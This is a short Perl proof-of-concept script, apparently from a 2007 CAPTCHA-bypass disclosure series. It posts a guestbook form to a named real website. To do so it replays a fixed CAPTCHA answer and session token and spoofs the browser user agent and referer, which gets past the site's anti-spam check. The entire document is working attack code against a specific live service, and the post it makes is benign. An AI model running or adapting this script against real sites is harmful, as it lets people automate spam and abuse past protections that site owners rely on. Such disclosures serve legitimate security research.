#!/usr/bin/perl
# MoBiC-09: opennet.ru CAPTCHA bypass
# Made by MustLive
# http://websecurity.com.ua
# 31.10.2007
use LWP::UserAgent;

my $agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414";
my $page_url = "http://www.opennet.ru/guestbook.shtml";
my $url = "http://www.opennet.ru/cgi-bin/opennet/linux_guest2.cgi";

&BypassCaptcha;
exit;

sub BypassCaptcha() {
	my $ua = LWP::UserAgent->new;
	$ua->agent($agent);
	my %fields = (
	'username' => 'Test',
	'email' => 'http://websecurity.com.ua',
	'message' => 'Captcha bypass test.',
	'ec' => '29049',
	'sc' => '53616c7465645f5ff4bfa4c2f0a15a730c704c9e348b6792fab8dd2b53cb437426ca75bec7479270551c0fb352f3b9bb05f999f5699ed374'
	);
	my $res = $ua->post($url,[%fields],referer => $page_url);

	print "Content-type:text/html\n\n";
	if ($res->is_success) {
		print $res->content;
	}
	else {
		print "Error: " . $res->status_line;
	}
}